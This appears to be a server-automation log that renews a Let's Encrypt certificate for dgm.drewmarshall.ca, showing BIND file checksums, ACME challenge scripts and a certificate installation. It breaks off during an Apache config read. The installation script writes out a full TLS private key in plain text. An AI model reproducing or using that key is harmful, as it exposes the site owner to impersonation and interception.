MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 5c27bd546fb502ce3d4635f83c2fb039
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-03-08 18:56:41: Establishing a connection
2026-03-08 18:56:41: Establishing a connection
2026-03-08 18:56:41: 

PUT: /tmp/pkp340067

#!/bin/bash
if [ -d "/var/www/drewmarshall_dgm/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-03-08 18:56:41: 

chmod 755 /tmp/pkp340067; /tmp/pkp340067; rm /tmp/pkp340067

2026-03-08 18:56:41: 


1


2026-03-08 18:56:42: Establishing a connection
2026-03-08 18:56:43: 

PUT: /tmp/pkp243705

#!/bin/bash
mkdir -p "/var/www/drewmarshall_dgm/.well-known/acme-challenge/"
cd "/var/www/drewmarshall_dgm/.well-known/acme-challenge/"
cat > i2yAdjJG-BReshJm2SMAd3kskYN_dIbZJ8EJyCy2H1o <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
i2yAdjJG-BReshJm2SMAd3kskYN_dIbZJ8EJyCy2H1o.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 i2yAdjJG-BReshJm2SMAd3kskYN_dIbZJ8EJyCy2H1o


2026-03-08 18:56:43: 

chmod 755 /tmp/pkp243705; /tmp/pkp243705; rm /tmp/pkp243705

2026-03-08 18:56:43: 




2026-03-08 18:56:48: Establishing a connection
2026-03-08 18:56:49: 

PUT: /tmp/pkp941821

#!/bin/bash
mkdir -p "/var/www/drewmarshall_dgm/.well-known/acme-challenge/"
cd "/var/www/drewmarshall_dgm/.well-known/acme-challenge/"
rm i2yAdjJG-BReshJm2SMAd3kskYN_dIbZJ8EJyCy2H1o


2026-03-08 18:56:49: 

chmod 755 /tmp/pkp941821; /tmp/pkp941821; rm /tmp/pkp941821

2026-03-08 18:56:49: 




2026-03-08 18:56:49: Establishing a connection
2026-03-08 18:56:49: 

PUT: /tmp/pkp834764

#!/bin/bash
temp_file=$(mktemp)
TARGET=a6135b8cd991ffd075dad22986ca2d2f.crt

cat > $temp_file <<'endmsg'
ee:04:c9:c5:2a:f5:79:cb:9e:10:33:3d:3a:88:de:93

-----BEGIN CERTIFICATE-----
MIIE/zCCA+egAwIBAgISBrdgj4UGvTOtx5AN5TvzRmQAMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjYwMzA4MTc1ODE4WhcNMjYwNjA2MTc1ODE3WjAeMRwwGgYDVQQD
ExNkZ20uZHJld21hcnNoYWxsLmNhMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEAoAJTJD7wDT8SWeloy3JRAlcktqqbZiGklqT2O9UE5FDmaj+8KRXfdwZl
ax/ml7jw7uaOU2PTxjNKxiArPs80Gs/GqXz2GVofWD8JCqpAyozbJ/IIUA2m9XY8
4aSeXPnelK2EeS8fhCmsw5rkB0hJ1v2tp7A2dHLAgZ/OtT+2FLypzO36xjsk9X5N
ZMhfE77coa9iBwuA2Bn2loOuqW61LAbFYkO7nqN3Itc1kvXqmXTOMTOeq1wWESmL
oRThDS8x8bz/j559Eyaj8XkQq42QXADVOhfDN9VFJaAFv9UT4iRQtdCNdVFbUQSs
JSx1sEfB5VpPOoglfMUurlQvkxauwwIDAQABo4ICIDCCAhwwDgYDVR0PAQH/BAQD
AgWgMBMGA1UdJQQMMAoGCCsGAQUFBwMBMAwGA1UdEwEB/wQCMAAwHQYDVR0OBBYE
FB1qsVk9GF4dG4k8fY3WeJb4E8JbMB8GA1UdIwQYMBaAFAC1KfItjm8x6JtMrXg+
+tzpDNHSMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYXaHR0cDovL3IxMi5p
LmxlbmNyLm9yZy8wHgYDVR0RBBcwFYITZGdtLmRyZXdtYXJzaGFsbC5jYTATBgNV
HSAEDDAKMAgGBmeBDAECATAtBgNVHR8EJjAkMCKgIKAehhxodHRwOi8vcjEyLmMu
bGVuY3Iub3JnLzEuY3JsMIIBDAYKKwYBBAHWeQIEAgSB/QSB+gD4AHYADleUvPOu
qT4zGyyZB7P3kN+bwj1xMiXdIaklrGHFTiEAAAGczs8l9wAABAMARzBFAiEAgf55
dMH4n0g6+fhPvEF0OszXK0L0uaTDKfaPMcU2KBMCIDSQCNb7oqIJ8fLQIfCA64wo
1Pwt2dcwRwlzyCC+h3atAH4A4yON8o2iiOCq4Kzw+pDJhfC2v/XSpSewAfwcRFjE
tugAAAGczs8niwAIAAAFADTtCB0EAwBHMEUCID9mHQrrNoAtmLfwysLR+knX9iCN
bd5xvMF7jr+hlfchAiEAqd9yqN035/3/SJpb7+O7LXhjRmr3aNgrPAQ7z1MEN3Mw
DQYJKoZIhvcNAQELBQADggEBAMBjTfC68kjos8ldNHdjuFGHMJSpkdYzQl68G+73
/KvP0kshz8/7rGkCuLGkJxe77eadE/urLlPYMNPx08cMDvlbYezgPPBp1tw3HzNn
O0RM1isRX/5alVodT3ReMfTrh4QF9sX0RMKGYFx0PIHzfgXir+iYAHo2x89UqIEw
ceOEy4DM11ABjiaiu7xinbvvu0ZeM2wYVes0NEgpmUiz5N7PuOHN7c9VRq1/0Tak
SG9yis9OZfAaakNdxwcpwucf89X2FwrLVVfCJ3P9ikgNsfyIsEmKrifREOehzJIS
96HwDdTJWp0E5tbZsgDF45KkCiCa6VZGJJeYFd/fL2xxQlU=
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQCgAlMkPvANPxJZ
6WjLclECVyS2qptmIaSWpPY71QTkUOZqP7wpFd93BmVrH+aXuPDu5o5TY9PGM0rG
ICs+zzQaz8apfPYZWh9YPwkKqkDKjNsn8ghQDab1djzhpJ5c+d6UrYR5Lx+EKazD
muQHSEnW/a2nsDZ0csCBn861P7YUvKnM7frGOyT1fk1kyF8Tvtyhr2IHC4DYGfaW
g66pbrUsBsViQ7ueo3ci1zWS9eqZdM4xM56rXBYRKYuhFOENLzHxvP+Pnn0TJqPx
eRCrjZBcANU6F8M31UUloAW/1RPiJFC10I11UVtRBKwlLHWwR8HlWk86iCV8xS6u
VC+TFq7DAgMBAAECggEAJ/L8pBeMopoFMGqcrfLQM/fi5DJrUxACQlRUX/La4lAq
fwuDpHRgEx0HNDxGO8pCaTsp/Lr3VExZFmdQtMFR3oHStV1MKl88ZTFzxfRk8c1C
KFJ+7dHCxhUrtSB/I3KFNnSuFv2DbmFjT4D7/q93NBSpBy1xIxjFZHesScdq4/kj
SWc4jnmBy4grxq9x/uH5YVUZBK1vfqfL/XFH8REZ9AgnF8yOlL7xuqM0B47VZ9qO
nH8IS5G4Ga2ys+DfqKhcdrzmPmRJFfGxRVgQsELEE81xAmUN23KW0+6Km8cHaYSs
tNGyOu4+EYnIYmhroLYm7J8vKq8LIUsWdgZrkT91lQKBgQDaGY31O6eoK1am7dFm
TLA3DcHtgrhzb9KBO9Bn2g3ChHKIKns+0ziTlWgmFm2YLoRTD4Z5zhLhJNn+lqWl
nJQdzdmyQi50pKA3vfc+hO9faUsDH7zabbcKt6n48T3DYQ4emrY67ad2Yto2T8Kj
Go7r0Ivkl+TLhU3L4XVUPRe1vQKBgQC70IfJD3nhG7MuGxs6O7v2v/hWxTsKpv1b
4S9e9hnIqvDx3KlGyhBVO0u888LsP94pHelN6Kr5Fp6SD9C8C68YYOpZvnPh0KJE
shcAIsMT/LUanV6rC15c33KyhPwJlRKP/Kp8w1gNcKbj8aQWA9i2PwQpiUv/Xa7a
appR8Sr+fwKBgQCugEvIrtZSA3rtTNKCG1HSertzIWgbVJkEtarlrN3diMNqlzLM
7YsS6jPOZZuCa5WML5vU0UDhyu5weHBItaL8xbssmS86PI3Ei8XKy+oKWOCfu0EL
M0WE2baxa7OTI5B8hCTRuVyHqEgXtHFytskrfEyxtaZmAF5ihh2uLMNPsQKBgHD9
7/MigGzRwWbHoAXU0iyNKdbqKa8q79pLC7jRzolPbk3UN3MDNfhRCCvRaz++3OVX
vXjFtbbNyPCO20GGtfywscz0K7t7TWSO0A+g2kQ4EKzGaKH24Pp25AZKw2bwbI57
sAYHb/4F/CG+yr0D62kZWGO02if0MLHu2JDbysX5AoGBAL4MCsbJknLV5eT+jDee
0VpE3IXjoBJnkgV/Em2jty26zxC0HVC3AA8x8u8zZrMTABxxOZFCR9jJaH3+OOuj
NPVeF8wsydVjptxSOT7f7A3AabXuTHrSd6ut5ac5wtKCo/oNZkFup4tYZ8RbZ6zr
1lBCy6a/OJMQS0qX0mu/G2j4
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----


endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2026-03-08 18:56:49: 

chmod 755 /tmp/pkp834764; /tmp/pkp834764; rm /tmp/pkp834764

2026-03-08 18:56:49: 


dir=/etc/ssl/certs


2026-03-08 18:56:49: 

PUT: /tmp/pkp698875

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/drewmarshall_dgm_ca.conf"

